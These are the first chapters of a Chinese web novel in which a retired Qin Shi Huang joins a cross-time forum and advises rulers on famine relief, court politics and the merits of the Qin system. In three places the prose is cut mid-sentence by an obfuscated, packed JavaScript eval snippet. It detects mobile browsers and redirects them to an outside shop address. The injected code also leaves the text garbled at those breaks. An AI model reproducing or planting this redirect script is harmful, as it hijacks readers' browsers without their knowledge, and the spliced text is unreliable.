《退休始皇,在线养崽》 1. 骊山别业 寅时三刻,天还未亮透。 嬴政准时睁开眼。 没有侍人战战兢兢在帷帐外低声奏报“陛下,该早朝了”,也没有堆积如山的竹简在案头等待批阅。寝殿里安静得能听见窗外竹叶扫过窗棂的窸窣声。 他躺在床上,盯着头顶素青色的帐幔看了片刻。 五年了。 从那个位置退下来整整五年,身体仍像上了发条的机括,在固定的时辰苏醒,分毫不差。 起身,更衣,净面。动作熟练得不需要任何人伺候。这别业里统共不过三个老仆,一个管洒扫,一个管庖厨,还有个哑巴老叟管园圃。都是他从军中退下来的老兵,沉默本分,见他从不行大礼,只躬身唤一声“先生”。 挺好。 推开房门,初秋的晨风带着骊山特有的草木清气涌进来。庭前那株老桂开得正盛,碎金似的花铺了一地。黑猫墨玉从廊下踱步过来,尾巴高高竖起,在他脚踝处蹭了蹭。 “饿了?”嬴政弯腰揉了揉猫脑袋,“今日有新鲜的鱼。” 墨玉“喵”了一声,跟在他身后穿过回廊。 别业不大,三进的院落依山而建。书房在最深处,推窗可见层峦叠嶂。晨光正从山脊线后一点点漫上来,给黛青色的山峦镶了道金边。 案上已摆好了早膳:一碗粟米粥,两碟时蔬,一尾清蒸的鲈鱼,鱼腹最肥嫩的部分被单独剔出来,盛在小碟里,放在地上。 墨玉埋头吃起来。 嬴政在案前坐下,慢慢用着粥。目光却不由自主地落在书房东侧那面墙上。 那里立着一排特制的木架。 架上没有书简,只有一卷卷精心捆扎的……空白绢帛。 这是他退隐后给自己定下的规矩:每日辰时至巳时,照旧“批阅奏章”。只不过批阅的对象,是昨日或前日自己写下的“伪奏折”。 ——譬如昨日写的是“关中今秋少雨,恐冬麦欠收,当命治粟内史预作调度”。 那么今日便要模拟治粟内史的口吻,写一份详细的应对方案:何处可调水,何处宜改种,仓廪存粮几何,可支应多久。 自己给自己出题,自己给自己答卷。 荒谬么? 或许。 但若不这么做,嬴政觉得,自己身体里那根绷了四十余年的弦,会彻底崩断。 用过早膳,墨玉跳上窗台梳理毛发。嬴政净了手,在案前坐下。 今日该批哪一卷? 他的手指拂过那些绢帛卷轴,最终停在最右侧那卷上——昨日写的是“北地郡上报,匈奴小股骑卒扰边,劫掠牛羊三十头,伤民七人”。 该模拟蒙恬的口吻回复了。 嬴政展开空白新绢,提起笔,沉吟片刻。 笔尖尚未落下,书房内光线骤然一暗。 不是云遮日。 是一种奇异的、仿佛所有光源都被瞬间吸走的暗。紧接着,东墙那排木架的正中央,凭空浮现出一片朦胧的光晕。 光晕如水波荡漾,渐渐凝聚成型。 那是一块约三尺长、两尺宽的……光幕? 通体剔透如白玉,边缘流淌着淡金色的微光。光幕中央,几行墨色字迹正缓缓浮现,字形方正,却绝非小篆,亦非六国文字,但诡异的是,嬴政一眼看去,竟能明白其意: 【欢迎接入‘明君养成论坛·匿名测试版’】 【检测到符合资质的潜在用户……精神波动匹配中……匹配成功】 【用户身份已匿名化,ID生成中……生成完毕】 【您的ID:青耕】 【请阅读并遵守《论坛使用须知》后,开启您的指导生涯】 嬴政握着笔,一动不动。 墨玉从窗台跳下,弓起背,对着光幕发出低低的“哈”气声。 时间仿佛停滞了数十息。 然后,嬴政放下了笔。 他起身,走到光幕前。动作依旧平稳,但若是熟悉他的旧臣在此,便会发现他垂在身侧的左手,手指正无意识地微微屈伸,那是他极度专注、或者说戒备时的习惯性动作。 光幕上的文字已自动翻页,展开一份长长的《论坛使用须知》。 条款很多,嬴政的目光迅速掠过: 【一、本论坛为跨时空匿名交流平台,严禁任何用户探询或泄露真实时空坐标及身份信息。】 【二、论坛主旨为‘明君养成的经验交流与指导’,请保持讨论氛围的专业与友善。】 【三、用户可通过发帖求助、回帖指导、参与辩论等方式积累‘治绩点’,治绩点可兑换……(后续功能待解锁)】 【四、严禁利用论坛信息进行恶意时空干涉、大规模历史篡改等行为,违者将被永久剥离权限。】 【五、论坛时间流速与用户原时空不完全同步,请知悉。】 …… 【是否已阅读并同意以上条款?】 【是/否】 嬴政的目光落在最后那个选择上。 光影在他脸上明明灭灭。窗外,晨光已彻底铺满山峦,鸟鸣啁啾,是个再寻常不过的秋日清晨。 而书房内,一面不该存在的光幕悬浮空中,静静等待。 他忽然想起很多年前,在邯郸为质时,某个冬夜。天寒地冻,被褥单薄,饿得睡不着。他蜷在榻上,盯着漏风的窗棂外那一点惨淡的星光,心里发狠地想:若有一日,能有不一样的选择摆在我面前,我绝不犹豫。 后来,他确实再没有犹豫过。 无论是亲政、除嫪毐、逐吕不韦,还是灭六国、定天下、书同文车同轨。每一次抉择,他都走得果决而坚定。 哪怕最后决定退下来,也是深思熟虑后,干净利落地交出了所有权力。 那么现在呢? 一个莫名其妙、自称“跨时空”的论坛。 一个自动生成的ID“青耕”——《山海经》里能御瘟疫的鸟,倒是……有点意思。 嬴政伸出手。 指尖触碰光幕的瞬间,冰凉的触感传来,仿佛碰到了一块真正的玉石。 他点在【是】上。 光幕波纹荡漾,所有条款文字如潮水般褪去。取而代之的,是一个简洁的界面:最上方是“青耕”二字,旁边有个小小的鸟形纹章。下方分为几个区域:【待阅帖子】、【我的回复】、【治绩点:0】、【兑换区(未解锁)】。 而此刻【待阅帖子】一栏,正不断有新的标题浮现、滚动: 【求助!父皇暴戾,动辄廷杖大臣,我劝谏反被斥,该如何是好?(热度:17)】 【边关守将克扣军粮,层层盘剥,士兵怨声载道,我该直接上奏还是私下处理?(热度:9)】 【新人求问:如何平衡世家大族与寒门子弟的任用?(热度:23)】 …… 嬴政微微眯起眼。 这些标题,这些措辞,这些似曾相识的困境。 他沉默地看着那些文字滚动,看了足足一刻钟。 然后,他伸手,点开了那个被顶在最上方、热度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114042|195895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最高、标题旁还带了个“急”字标记的帖子: 【父皇刚猛,常斥我优柔寡断,不堪大任。我欲改变,却不知从何入手。请诸位先生指点迷津。】 发帖人ID:檐下雀。 主楼内容很简单,只寥寥数语,却透着一股压抑的迷茫和委屈。下面已有七八条回复,有鼓励的,有建议“多读史书”的,有直言“性格难改”的,也有插科打诨的。 嬴政一目十行扫过,目光重新落回主楼那“优柔寡断”四个字上。 恍惚间,仿佛看到很多年前,章台宫前,那个身着太子朝服、因为反对坑杀术士而与自己激烈争辩,最终被罚去上郡监军的青年。 扶苏。 他背在身后的左手,指节微微收紧。 光幕莹白的光映在他深邃的瞳孔里。墨玉不知何时又跳上了桌案,趴在那卷尚未动笔的“北地郡边患”绢帛旁,碧绿的猫眼一眨不眨地看着主人。 书房里只剩下山风穿过竹林的低啸。 良久。 嬴政抬起手,指尖在光幕下方空白的回复区虚点。 他打得很慢。那些陌生的、方正的、被称为“简体字”的字符,需要稍微适应。但意思,早已在他心中盘旋了千百回。 终于,一行字出现在回复框里: 【青耕】:刚极易折,柔易受欺。汝非需择其一,而需知何时为剑,何时为鞘。】 敲下最后一个字,指尖悬在【发送】上方,停顿了一息。 然后,落下。 光幕微光一闪,回复成功发送,出现在那七八条建议的最下方。ID“青耕”后面,跟着一个小小的、代表新用户的“幼苗”标志。 几乎在回复发出的瞬间,帖子下方就跳出一条新提示: 【檐下雀】已收到您的回复。 嬴政退出了这个帖子。 光幕恢复成主界面,【待阅帖子】依旧在滚动,新的求助不断涌现。窗外,日头已升得更高,桂花的香气愈发浓郁。 他转身回到案前。 墨玉“喵呜”一声,凑过来嗅了嗅他垂落的手指。 嬴政揉了揉猫脑袋,重新提起了笔。 那卷关于“北地郡边患”的绢帛依旧摊开着,空白一片。他盯着看了片刻,却忽然将绢帛卷起,放回架上。 然后,他另取了一卷新的空白绢帛,铺开。 笔尖蘸墨,落下。 开头不再是模拟任何人的口吻,而是他自己的笔迹,他自己的话: 【论坛纪事·其一】 【今日遇一子,困于‘刚柔’之辩。吾答曰:剑与鞘耳。】 【然,此语亦当自省。】 写到这里,他停笔。 目光越过窗棂,望向骊山苍茫的群峰。山岚缭绕,将远山近树都晕染得朦胧。 那个ID“檐下雀”的年轻人,会明白吗? 而他这个早已放下权柄、隐居山野的“青耕”,又真的明白了吗? 墨玉蹭了蹭他的手背。 嬴政垂眸,在绢帛上续写最后一句: 【退休之乐,或在于此——可言当年未尽之言,可思当年未竟之思。】 落款,未署名,只画了一个极简的鸟形轮廓。 像山间偶然掠过的一只飞鸟的影子。 晨光正好,满室桂香。那面悬浮的光幕静静散发着微光,与这间古朴书房奇异又和谐地共存着。 新的日子,似乎与往日没什么不同。 又似乎,已悄然不同。 2. 论坛一日,胜读十年书(上) 光幕在书房里亮了一整天。 嬴政起初还有些不适应——任谁的书房里凭空多出一面会发光、会显示文字、还会自动刷新的“墙壁”,都得花点时间适应。 但只用了半个时辰,他就摸清了这“论坛”的基本操作。 无非是“点开帖子”、“输入文字”、“发送回复”这几样。难的是那些陌生的词汇和符号:“楼主”、“沙发”、“打卡”、“2333”……好在结合上下文,大致能猜出意思。 墨玉对光幕的兴趣只维持了一小会儿,发现那东西既不能吃也不能挠之后,就跳回窗台晒太阳去了。 嬴政却看得认真。 【待阅帖子】里的内容五花八门,有些稚嫩得可笑,有些却切中要害。他一个个点开,快速浏览,偶尔蹙眉,偶尔微微颔首。 那个ID“檐下雀”的年轻人,没有再回复。 倒是他发的那条“剑与鞘”的回复下面,多了几条跟评: 【路人甲】:说得好!但具体怎么判断何时该刚何时该柔啊?求展开讲讲! 【治粟小吏】:青耕先生这话有点东西,但会不会太玄乎了? 【我爱读史】:新来的大佬?这ID没见过啊。 嬴政的目光在“求展开讲讲”几个字上停留片刻。 展开? 若是当年在朝堂上,有臣子敢这么问,他或许会直接甩过去一卷竹简:“自己悟。” 但现在…… 他指尖在光幕上悬停,最终还是移开了。 不急。 论坛右上角有个小小的沙漏图标,旁边标注着【论坛时:申时三刻】。而窗外真实的日头,才刚刚过午。 “时间流速不同。”嬴政低声重复了一遍《须知》里的条款,若有所思。 他关掉了“檐下雀”的帖子,继续浏览。 下一个被顶上来的是个颇为……接地气的问题: 【求助!朝会上总有老臣打瞌睡,鼾声震天,劝了不听,罚了伤和气,怎么办?】 发帖人ID:早朝好困。 下面已经跟了十几条回复,画风各异: 【建议直接泼冷水,醒神】 【弄点提神香,熏死他们】 【简单,把早朝时间往后推一个时辰】 【不如陛下您自己也打瞌睡,带动氛围(狗头)】 嬴政的嘴角几不可察地抽动了一下。 他想起了很多年前,咸阳宫的大殿上,确实有那么几位须发皆白的老臣,站着都能睡着。有一次,一位宗室老王爷甚至站着打起了呼噜,声音悠长,引得几个年轻臣子忍笑忍得肩膀直抖。 当时他是怎么处理的? 哦,他什么也没说,只是让侍从给那几位老臣每人赐了一座带软垫的坐席——特制的高脚坐席,坐着比站着还累,而且一旦睡着极易栽倒。 第二天早朝,再没人打瞌睡。 嬴政想了想,在回复区输入: 【青耕】:事多,则无暇眠;律严,则不敢眠。或可令御史持笔录之,散朝后公示‘朝堂精气神榜’,依榜核减俸禄、优叙升迁。 发送。 几乎是瞬间,帖子下面炸了: 【早朝好困】:!!!还能这样?! 【路人乙】:绝了,公开处刑加绩效挂钩,杀人诛心啊! 【治粟小吏】:青耕先生又来降维打击了…… 【御史台新人】:记下了记下了,这就去禀报上官! 嬴政看着那些反应,指尖无意识地敲了敲案几。 一种……奇特的感受。 不是掌控生杀予夺的威严,不是一言九鼎的满足。而是一种更微妙的、仿佛投石入水、看着涟漪荡开的…… 趣味? 他摇摇头,把这莫名冒出的词甩开。 继续往下翻。 接下来的几个时辰,嬴政以惊人的效率浏览了数十个帖子。他回的不多,只挑那些问题确实有启发性、或者提问者态度诚恳的回复。 回复风格也渐渐固定:简短、直接、切中要害,偶尔带点辛辣。 指导一个被兄弟夺宠的王子:“争宠是小道,建功是大道。去边关,或去治水,三年后再看。” 提醒一个想锐意改革却处处碰壁的年轻君主:“变法如烹小鲜,火候急不得。先动一处,树一榜样,让人看到甜头。” 点拨一个苦恼于后宫干政的皇帝:“症结不在后宫,在前朝。若有贤臣十人,能臣二十,何须借妇人言?” 每一条回复发出,或多或少都会引起一些讨论。有人赞他“一针见血”,有人嫌他“太过冷酷”,也有人追着问具体操作细节。 嬴政一概不理。 他只是在回复,像完成某种每日功课。只不过这功课的内容,从批阅自己虚构的奏折,变成了点评这些来自未知时空、真假难辨的“君主困境”。 直到那个关于“饥荒赈灾”的帖子出现。 【紧急!辖内三县遭蝗灾,秋粮绝收,仓廪余粮仅够半月。已开仓放粮,但流民日增,恐生民变。如何能既活民,又安境?】 发帖人ID:饿殍千里。 帖子里的描述很具体:灾民数量、现有存粮、周边郡县情况、可能调拨的物资……甚至提到了“有豪强囤积居奇,市面粮价已涨五倍”。 下面回复很多,但多是“严打奸商”、“请求外援”、“组织灾民以工代赈”这类常规建议。 嬴政看完所有内容,沉默了许久。 他起身,走到窗边。 骊山的秋色正浓,层林尽染。山脚下的村落升起袅袅炊烟,一片安宁。但这安宁,是建立在“天下太平,仓廪丰实”的基础上的。 他经历过饥荒。 不是作为君王在奏折上看到“某地大饥,人相食”的冰冷字眼,而是真真切切地,在邯郸,在童年。饿到头晕眼花,看着母亲把最后半块饼掰成三份,自己只舔了舔手指上的碎屑。 也亲手处理过无数次灾情。 灭楚那年,淮水泛滥,他调了三十万石军粮赈灾,罢黜了三个救灾不力的郡守。统一后第三年,关中大旱,他下令打开所有皇室苑囿,许百姓入内采摘渔猎,又减免天下赋税三成。 每一次,都是庞大的数字,雷霆的手段。 但那些数字背后,是一个个具体的人。那些手段之下,是无数家庭的生死。 嬴政回到光幕前。 这一次,他打了很多字。 【青耕】:一、即刻划定灾民聚集区,以军队维持秩序,按人头每日定量施粥,粥需插筷不倒。此为防止疫病、便于管理。 【青耕】:二、张贴告示:凡捐粮百石以上者,赐‘义民’匾;捐粮千石以上者,子孙可入地方官学。同时,密查囤积最甚之三家,择其一,以‘扰乱赈济、动摇民心’为由,抄没其粮,主事者斩首示众。须同时进行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114043|195895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 【青耕】:三、组织灾民中的青壮,以粮为酬,修筑水利、道路、城墙。老弱妇孺可编组,从事编织、缝补等轻役,亦给口粮。令其有事可做,有粮可得,不致生乱。 【青耕】:四、飞马奏报上官,详陈灾情及已采取措施,请求周边郡县调粮支援。奏报中需特别注明:若粮不至,民变在即,届时乱民流窜,恐波及邻郡。 【青耕】:五、若以上皆行,粮仍不足……】 写到这里,他停顿了一下。 光幕莹白的光映着他深邃的眼眸。 然后,他缓缓补上最后一句: 【青耕】:则开官仓最后一粟,与民共食。食尽之日,卿当衣冠整肃,坐于衙前,告民曰:上负天子,下负黎庶,唯死而已。然后,自裁。 【青耕】:如此,或可换得民不忍乱,为后来者赢得三五日时间。 长长的一段回复,分条列陈,从具体措施到最终底线。 发送。 论坛里安静了片刻。 然后,帖子下面涌出了大量的回复: 【饿殍千里】:……先生之言,字字千钧。在下……记下了。这就去办。 【路人丙】:最后一条……我看哭了。 【治粟小吏】:太狠了,但也太实在了。这才是真的‘活民安境’啊。 【御史台新人】:第五条真的有必要吗…… 【青耕】(回复御史台新人):有。非为作态,乃为定心。民知官与同死,则绝望中亦存一线不忍。此一线,或可救命。 这番对话之后,论坛里关于“青耕”的讨论明显多了起来。 嬴政没再关注那些议论。 他关闭了那个帖子,靠在椅背上,闭了闭眼。 墨玉不知何时跳上了他的膝盖,暖烘烘的一团。 窗外,夕阳西下,给骊山镀上了一层血色金边。 书房里安静下来,只有光幕幽幽地亮着,上面不断滚动着新的求助、新的讨论、新的悲欢离合。 嬴政睁开眼,看着那面光幕。 一天。 仅仅一天。 他在这“论坛”里看到的众生相,遇到的难题,思考的深度,竟比退休这五年加起来还要多,还要复杂。 不是朝堂上那些关乎国运的战略抉择,而是一个个具体而微的、关乎生死存亡的困境。是一个个活生生的人,在向他——向一个叫“青耕”的陌生人——求救。 而他,竟然在认真地回应。 甚至……乐在其中。 这个认知让他微微怔忪。 “喵。”墨玉蹭了蹭他的手。 嬴政低头,揉了揉猫脑袋,忽然问道:“墨玉,你说……这算不算是……” 话没说完。 因为光幕上,那个沉寂了一整天的ID,突然亮起了私信提示的小图标。 【檐下雀】:先生今日在论坛所言,晚辈皆一一拜读。关于饥荒赈灾那条,晚辈心有戚戚。 【檐下雀】:另,关于‘剑与鞘’,晚辈苦思一日,略有心得,可否再向先生请教一二? 嬴政看着那两行字。 窗外,最后一线天光沉入山后,夜幕降临。 书房里没有点灯,只有光幕莹莹的光,照亮他半边沉静的侧脸。 他伸出手,点开了私信回复框。 指尖悬停,片刻后,落下: 【青耕】:可。】 3. 论坛一日,胜读十年书(下) 私信界面的光,在昏暗的书房里静静亮着。 【檐下雀】:谢先生!晚辈愚钝,斗胆再问——若‘剑’是雷霆手段,‘鞘’是怀柔安抚,那么‘执剑’与‘藏锋’的时机,究竟该如何把握?我观史书,唐太宗纳谏如流是为‘鞘’,但玄武门之变却是‘剑’。这其中的度,实在难以捉摸。 嬴政看着这段文字,指尖在案几上轻轻叩击。 嗒。嗒。嗒。 节奏平稳,带着某种思考的韵律。 这个“檐下雀”,比他预想的要敏锐。不仅看了他今天的其他回复,还抓住了核心矛盾——时机。 他想起自己亲政之初,面对嫪毐与吕不韦两座大山。何时该忍?何时该发?忍的时候,被朝野暗讽“年幼可欺”;发的时候,又被诟病“刻薄寡恩”。 哪里有什么绝对的时机。 只有……审时度势。 他抬手,在光幕上回复: 【青耕】:时机在势,不在理。势未至,纵有理亦不可妄动;势已成,纵无理亦当顺势而为。玄武门之事,非太宗择时,乃时势迫之。汝观史,当观其‘势’如何积聚、如何流转,而非仅观其‘事’如何发生。 发送。 几乎是立刻,对面就回了: 【檐下雀】:势……先生的意思是,要先看清楚朝中力量对比、人心向背、甚至天时地利?等到‘势’在我这边,再动手? 嬴政眼中掠过一丝赞许。 孺子可教。 【青耕】:然。然‘势’非天降,亦可人造。积小胜为大胜,聚人心为己用,皆是造势。汝父斥你优柔,或因你只知‘藏’,未见你‘蓄’。 这一次,对面沉默了片刻。 光幕上的“正在输入”提示闪烁了几次,才终于弹出新消息: 【檐下雀】:……先生一针见血。晚辈确实只知避让锋芒,未曾想过主动‘蓄势’。惭愧。 【檐下雀】:还有一事……今日见先生指点赈灾之事,最后那条‘与民共死’,晚辈读之震撼。想请问先生,为君者,当真需要做到如此地步吗? 这个问题,比之前那个更重。 嬴政靠回椅背,墨玉在他膝上换了个姿势,发出舒服的咕噜声。 书房里很静,能听见秋虫在墙根下最后的鸣叫。 需要吗? 他想起统一之初,六国遗民暗流汹涌,刺客不止。有近臣劝他深居简出,增派护卫。他却一次次巡行天下,封禅泰山,渡江祭禹,甚至故意在博浪沙那样易于设伏的地方停留。 为什么? 因为需要让天下人看见:这个新朝的皇帝,不怕。 君王可以死于刺杀,但不能死于畏惧。 “需要。”嬴政低声自语,然后输入: 【青耕】:非常之时,需非常之举。平居之日,君王为舟,民为水;危亡之际,君王为砥柱,民为狂澜。砥柱若先倾,狂澜或可暂缓。此非常态,乃底线。 【青耕】:然,为君者当竭力避免走到那一步。故平日需修德、蓄力、明察、善断。待到需‘与民共死’时,已算失败。 这段话发出去,对面久久没有回应。 嬴政也不急,顺手点开了论坛主界面。一天下来,【治绩点】从0变成了【12】,旁边多了个小小的注释:(根据回复质量、采纳程度及影响力综合计算)。 有什么用? 他点开那个依旧灰色的【兑换区】,只看到一行字:治绩点满100点后解锁。 关掉。 目光扫过【待阅帖子】,一个标题引起了他的注意: 【学术讨论:秦制之得失,究竟在何处?】 发帖人ID:鹄羽。 终于来了。 嬴政点进去。 主楼内容很长,条理清晰,论点鲜明: “秦以法立国,以耕战强国,十年并天下,其效率毋庸置疑。然则十五年而亡,何也?” “论者多归咎于严刑峻法、役民过甚。此固然。然更深层之因,窃以为在于‘以治军之法治国’。” “军法求令行禁止,效率至上,可集中力量办大事,如灭国、筑城、修路。然治国,尤其治新并之天下,需兼容、需安抚、需给时间消化。秦制却将天下视为一座需攻克的大营,民为卒,吏为将,一切以完成‘任务’(赋税、徭役、兵役)为准。” “如此,高效则高效矣,然毫无弹性。天灾、人怨、局部动荡,在‘军法体系’下皆被视为需剿灭的‘叛乱’,而非需调和的‘问题’。最终矛盾层层上叠,直至天下皆‘叛卒’,体系崩解。” “故秦之失,非失于法严,而失于将‘治国’错认为‘治军’。此或为后世‘外儒内法’之滥觞——以儒为鞘,藏法家之剑。” 帖子下面已经盖了数十楼,争论激烈。 有赞同的,有反驳的,有引申的。 嬴政一字一句读完,眸色深沉如夜。 厉害。 这个“鹄羽”,眼光毒辣,直指核心。虽然后面那句“外儒内法”的推断有待商榷——他当年可没想过给法家配什么儒家的鞘——但前面的分析,切中了他晚年曾隐约感觉到、却未能完全厘清的困境。 统一后,他确实在用治理秦国、指挥战争的那套方法,来治理一个前所未有的庞大帝国。 效率极高。 后患也极深。 他沉默地看着那些争论,直到一条最新的回复跳出来,来自一个陌生ID: 【史海钩沉】:鹄羽先生高见!不过秦制也并非一无是处吧?书同文、车同轨、行同伦,这可是奠定华夏千年根基的大功业! 【鹄羽】(回复史海钩沉):功是功,过是过。功业如泰山,不掩其失;过失如江海,不没其功。讨论得失,正是为了看清哪条路能走得更远,而非简单褒贬。 理智,冷静,格局开阔。 嬴政手指动了动。 他有种强烈的、想要加入讨论的冲动。想告诉这个“鹄羽”,当年做出那些决定时的具体考量,面对的现实掣肘,以及……那些未能实现的、关于“弹性”的模糊设想。 但指尖触碰到光幕时,又停住了。 现在他是“青耕”,一个论坛里的指导者,不是嬴政。 他最终只是在那个帖子下,用“青耕”的ID,发了一条简短的回复: 【青耕】:以治军之法治国,可谓确论。然当时之势,六国虽灭,其心未附。缓则生变,急则易崩。两难之间,择其急者。后世观之,易;当时处之,难。 这既是对“鹄羽”的回应,也是……对自己那段过往的一句交代。 发完,他便退出了帖子。 几乎同时,私信提示又亮了。 还是【檐下雀】。 【檐下雀】:先生一席话,如醍醐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114044|195895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灌顶。晚辈明白了,为君者当竭力避免走到绝境,但真到了绝境,须有‘与之共死’的担当。此非迂腐,乃定人心、存希望之法。 【檐下雀】:今日受益良多,不敢再叨扰先生。晚辈会仔细琢磨‘蓄势’之道。他日若有所得,再向先生禀报。 很懂分寸。 嬴政回了两个字: 【青耕】:善。 结束私信,他看了眼论坛时间:【亥时初刻】。 窗外早已漆黑一片,星斗满天。现实中的时辰,应该刚到酉时。 “一日……胜读十年书?”嬴政低声重复着这个自嘲的念头,摇了摇头。 何止十年。 他在位三十七年,批阅的奏折、处理的政务、做出的抉择,何止千万。但那些都是自上而下的俯瞰,是冰冷的数字和抽象的策略。 而今天在这个论坛里,他看到的,是一个个具体的人在具体困境中的挣扎、求教、思考。 像隔着无数时空,触摸到了历史的温度。 墨玉“喵”了一声,跳下膝盖,走到门边,回头看他。 饿了。 嬴政失笑,起身:“这就去给你弄鱼。” 走出书房前,他最后看了一眼光幕。 那个关于秦制的帖子,又多了几条新回复。其中一条来自“鹄羽”,就在他刚才那条回复下面: 【鹄羽】(回复青耕):先生所言‘两难之间,择其急者’,实乃真知灼见。历史洪流中,身处漩涡者,往往别无选择。后人苛责,多因未临其境。 嬴政脚步微顿。 然后,他关上书房的门,将那片莹白的光隔绝在内。 廊下月色如水。 庖厨里,哑巴老叟已经备好了晚膳和墨玉的鱼。看见他来,躬身行了个礼,指了指灶上温着的汤羹。 嬴政颔首,亲自把鱼腹肉剔到墨玉的食碟里。 看着黑猫吃得头也不抬,他忽然开口,声音很轻:“你说,若当年……也有这样一个地方,能听听旁人如何看秦政,如何看朕……” 话没说完,自己先摇了摇头。 哑巴老叟听不见,只安静地盛好粥,退到一旁。 嬴政慢慢用完晚膳,洗漱,回到寝殿。 躺下时,窗外传来隐约的更鼓声——山下县城的。 二更天了。 他闭上眼,脑子里却不受控制地闪过论坛里那些文字:饥荒、打瞌睡的老臣、被兄弟夺宠的王子、优柔寡断的太子……还有“鹄羽”那段关于秦制的犀利剖析。 最后定格在私信里,“檐下雀”那句“与民共死的担当”。 许久,黑暗中传来一声几不可闻的叹息。 然后,是均匀的呼吸声。 --- 书房里。 光幕依旧亮着。 在嬴政退出后,论坛依然活跃。 那个关于秦制的帖子下面,又多了一条来自“鹄羽”的发言,这次是私信般的低语,未被其他人看到: 【鹄羽】:青耕先生……您究竟是谁?对秦政得失,竟有如此切肤之痛、又如此冷静克制的见解。真乃……奇人。 光幕莹莹,映照着空无一人的书房。 窗外,骊山沉睡在秋夜里。 而无数时空之外,一些人的命运,或许已经因为今天收到的某条回复,发生了微不可察的偏转。 --- 4. 朝堂如弈,落子无声 翌日,寅时三刻。 嬴政照例醒来,却在起身时顿了顿——昨夜梦中竟全是论坛里那些跳跃的文字和纷杂的问题。他按了按额角,有些自嘲。 用过早膳,墨玉照旧跟在脚边。推开书房门时,他下意识先看向东墙。 光幕静静亮着,界面停留在昨日最后浏览的位置。右上角的沙漏旁,显示着【论坛时:次日子时二刻】。 果然,论坛的时间比这里快。 他坐下,墨玉跳上窗台,开始每日的梳洗。嬴政则点开了消息通知——那里有十多个小红点。 大多是昨日回复过的帖子有了新跟评。他粗略扫过,直到看见私信栏里那个熟悉的鸟形图标在闪烁。 【檐下雀】(昨夜亥时三刻):先生安。晚辈依昨日之思,尝试梳理朝中局势,列了份简表。不知可否请先生过目,指点疏漏? 附件是一份用论坛特殊格式整理的“势力分析图”,虽然文字仍显稚嫩,但条理清晰,将朝中几派力量、各自倚仗、可能的诉求都列了出来。 嬴政眉梢微挑。 行动力不错。 他仔细看了那份图表,在其中几处圈了圈,回复: 【青耕】:尚可。然有三处需细思:一、户部尚书看似中立,其女嫁与禁军副统领之侄,此关系未标。二、你标注‘清流’一派皆支持你,依据何在?可有切实把柄或恩惠在手?三、最末所列‘可争取之中立派’,其中三人去年曾联名弹劾过你舅舅,此事你可知晓? 回复发出后,他等了片刻。论坛时间虽是子夜,但对方似乎在线。 【檐下雀】(几乎瞬间):!先生明察!第一、三处晚辈确实不知,这就去查。第二处……清流领袖王太傅曾为我启蒙师长,常赞我仁厚,故我以为…… 【青耕】:师长赞语,不可为凭。需观其行:他可曾在你受责时为你辩护?可曾将门生故旧引荐于你?可曾就具体政事明确支持过你的主张? 【檐下雀】:……不曾。 【青耕】:那便是了。口头嘉许,最是无用。 这话说得有些冷硬。但对面沉默片刻后,发来的却是: 【檐下雀】:谢先生点醒。是晚辈想当然了。 态度很好。 嬴政神色稍缓,继续输入: 【青耕】:图表重制后,再问自己:若此刻起事,有几成把握?若不起事,三月后,你的处境会比现在更好,还是更差? 【檐下雀】:……若此刻,不足三成。若等三月,权臣正在清理我安排在地方的人,恐更差。 【青耕】:既知等不得,又知力不足,当如何? 这一次,对面久久没有回复。 嬴政也不急,顺手点开论坛主页。那个关于秦制的帖子已经盖了上百楼,“鹄羽”又发了几条深入的分析,其中一条提到:“秦之速亡,亦与未能及时将战时‘军功爵制’转化为和平时期‘文治考核体系’有关。六国士子无晋身之阶,故生怨望。” 切中要害。 嬴政沉吟着,正想再看,私信提示又响了。 【檐下雀】:先生,晚辈愚钝,只能想到……借力打力?挑动权臣内部矛盾?或是……引入外援? 【青耕】:思路尚可,但空泛。具体到第一步,你能在明日午时前,不动声色地做成一件事,既不引起权臣警觉,又能实际削弱其一丝力量——是什么事? 又是一阵沉默。 嬴政端起已经微凉的茶,抿了一口。 窗外晨光渐亮,山岚散去,露出骊山青黛的轮廓。墨玉梳洗完毕,跳下窗台,溜达出门——大概是去园子里扑蝴蝶了。 大约一盏茶后,回复来了: 【檐下雀】:户部右侍郎是权臣的人,贪墨河工款,证据我已暗中收集大半,尚缺最关键的一份账本。若明日午前能拿到,我可示意御史台一位与我交好的年轻御史‘偶然’发现线索,上书弹劾。此举或能剪其羽翼,亦能试探各方反应。 【青耕】:账本在何处? 【檐下雀】:在侍郎府邸书房密室,钥匙由其心腹管家随身携带。那管家好赌,常去城西暗赌坊。 嬴政看着这几行字,忽然笑了笑。 